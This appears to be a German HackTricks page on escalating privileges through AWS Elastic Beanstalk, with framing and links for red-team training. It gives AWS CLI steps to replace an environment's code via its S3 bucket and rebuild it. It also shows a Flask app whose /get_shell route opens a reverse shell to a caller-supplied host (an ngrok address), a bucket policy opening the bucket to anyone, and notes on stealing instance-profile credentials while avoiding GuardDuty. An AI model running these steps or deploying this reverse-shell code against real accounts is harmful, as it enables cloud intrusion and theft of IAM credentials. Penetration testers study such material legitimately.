AWS - Elastic Beanstalk Privesc
Reading time: 6 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Elastic Beanstalk
Mehr Info über Elastic Beanstalk in:
warning
Um sensible Aktionen in Beanstalk durchzuführen, benötigen Sie eine Menge sensibler Berechtigungen in vielen verschiedenen Diensten. Sie können beispielsweise die Berechtigungen überprüfen, die arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk
zugewiesen sind.
elasticbeanstalk:RebuildEnvironment
, S3 Schreibberechtigungen & viele andere
Mit Schreibberechtigungen für den S3-Bucket, der den Code der Umgebung enthält, und Berechtigungen zum Wiederherstellen der Anwendung (es werden elasticbeanstalk:RebuildEnvironment
und einige weitere, die sich auf S3
, EC2
und Cloudformation
beziehen, benötigt), können Sie den Code modifizieren, die App neu erstellen und beim nächsten Zugriff auf die App wird sie Ihren neuen Code ausführen, was dem Angreifer ermöglicht, die Anwendung und die IAM-Rollenanmeldeinformationen zu kompromittieren.
# Create folder
mkdir elasticbeanstalk-eu-west-1-947247140022
cd elasticbeanstalk-eu-west-1-947247140022
# Download code
aws s3 sync s3://elasticbeanstalk-eu-west-1-947247140022 .
# Change code
unzip 1692777270420-aws-flask-app.zip
zip 1692777270420-aws-flask-app.zip <files to zip>
# Upload code
aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247140022/1692777270420-aws-flask-app.zip
# Rebuild env
aws elasticbeanstalk rebuild-environment --environment-name "env-name"
elasticbeanstalk:CreateApplication
, elasticbeanstalk:CreateEnvironment
, elasticbeanstalk:CreateApplicationVersion
, elasticbeanstalk:UpdateEnvironment
, iam:PassRole
und mehr...
Die genannten sowie mehrere S3
, EC2
, cloudformation
, autoscaling
und elasticloadbalancing
Berechtigungen sind notwendig, um ein rohes Elastic Beanstalk-Szenario von Grund auf zu erstellen.
- Erstellen Sie eine AWS Elastic Beanstalk-Anwendung:
aws elasticbeanstalk create-application --application-name MyApp
- Erstellen Sie eine AWS Elastic Beanstalk-Umgebung (unterstützte Plattformen):
aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role
Wenn eine Umgebung bereits erstellt wurde und Sie keine neue erstellen möchten, können Sie einfach die vorhandene aktualisieren.
- Verpacken Sie Ihren Anwendungscode und die Abhängigkeiten in eine ZIP-Datei:
zip -r MyApp.zip .
- Laden Sie die ZIP-Datei in einen S3-Bucket hoch:
aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip
- Erstellen Sie eine AWS Elastic Beanstalk-Anwendungsversion:
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"
- Stellen Sie die Anwendungsversion in Ihrer AWS Elastic Beanstalk-Umgebung bereit:
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0
elasticbeanstalk:CreateApplicationVersion
, elasticbeanstalk:UpdateEnvironment
, cloudformation:GetTemplate
, cloudformation:DescribeStackResources
, cloudformation:DescribeStackResource
, autoscaling:DescribeAutoScalingGroups
, autoscaling:SuspendProcesses
, autoscaling:SuspendProcesses
Zuerst müssen Sie eine legitime Beanstalk-Umgebung mit dem Code erstellen, den Sie im Opfer ausführen möchten, gemäß den vorherigen Schritten. Möglicherweise ein einfaches zip, das diese 2 Dateien enthält:
from flask import Flask, request, jsonify
import subprocess,os, socket
application = Flask(__name__)
@application.errorhandler(404)
def page_not_found(e):
return jsonify('404')
@application.route("/")
def index():
return jsonify('Welcome!')
@application.route("/get_shell")
def search():
host=request.args.get('host')
port=request.args.get('port')
if host and port:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,int(port)))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
return jsonify('done')
if __name__=="__main__":
application.run()
Sobald Sie Ihre eigene Beanstalk-Umgebung mit Ihrer Rev-Shell ausführen, ist es Zeit, sie in die Umgebung des Opfers zu migrieren. Dazu müssen Sie die Bucket-Richtlinie Ihres Beanstalk-S3-Buckets aktualisieren, damit das Opfer darauf zugreifen kann (Bitte beachten Sie, dass dies den Bucket für JEDEN öffnet):
{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"s3:ListBucket",
"s3:ListBucketVersions",
"s3:GetObject",
"s3:GetObjectVersion",
"s3:*"
],
"Resource": [
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022",
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*"
]
},
{
"Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b",
"Effect": "Deny",
"Principal": {
"AWS": "*"
},
"Action": "s3:DeleteBucket",
"Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022"
}
]
}
# Use a new --version-label
# Use the bucket from your own account
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"
# These step needs the extra permissions
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0
# To get your rev shell just access the exposed web URL with params such as:
http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528
Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).
The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.